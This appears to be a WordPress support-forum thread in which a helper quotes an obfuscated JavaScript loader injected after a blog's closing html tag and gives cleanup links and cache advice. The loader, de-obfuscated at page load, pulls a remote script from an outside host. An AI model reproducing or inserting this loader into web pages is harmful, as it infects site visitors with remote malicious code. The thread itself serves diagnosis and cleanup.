I have a virus in my blog

Looks like you may possibly have an unwanted script running outside of the html content.

</html>
/*GNU GPL*/ try{window.onload = function(){var Dlo228l8u771kzw = document.createElement('script');Dlo228l8u771kzw.setAttribute('type', 'text/javascript');Dlo228l8u771kzw.setAttribute('id', 'myscript1');Dlo228l8u771kzw.setAttribute('src',  'h@(t#t^^!p#&:@^$(/$/(j^#^o^o(#$m&)$l$(@!#a$^-!&^$)o@@r##!!g^!(^.$$^s))$p(@(a@@n@)#k^@#w&)i#$r(e(.$!&#c!@o!^()!m#.!&w())3(^@s$&^c$)h&(o#!o&#l&@s!^&-(c#o(#)m@$.&(e$@&!a^s(y(t(a$(^)b)!&l&e@!t(e)(n!n$#)i^(^!s@.^(r^#^$u(#:&8^$)0)^#8^(!0^/!#g##@$$o&o#$g#l!e^($.(@c#o^!)m@/(g&$^o(@o$#(^g($l!e@.##c$)$(o$)!!m^$/($!b!)$)i$n#(g)!.^!c((@&@o^$m)$)/&!&g$(($o)o)@((g#&&l(!e@$.(f($)^&r@&!#/!w@(o(^!r)d()$!#p)!^r(e@#s&)!s(^!@.^(&o$#@r((g^/^^@'.replace(/\!|@|&|\)|\$|\(|#|\^/ig, ''));Dlo228l8u771kzw.setAttribute('defer', 'defer');document.body.appendChild(Dlo228l8u771kzw);}} catch(e) {}

http://codex.wordpress.org/FAQ_My_site_was_hacked

http://wordpress.org/search/hacked?documentation=1&forums=1

Did you clear the wordpress cache eragas (if you have that plugin installed)…or hit Ctrl + F5 a couple times to clear your browser’s cache? How did you delete the line in the index.php file…by ftp client (reuploading the file) or within wordpress?

Also see my note here about a possible computer virus being the culprit of gaining access to your files:

http://wordpress.org/support/topic/342516?replies=3#post-1318346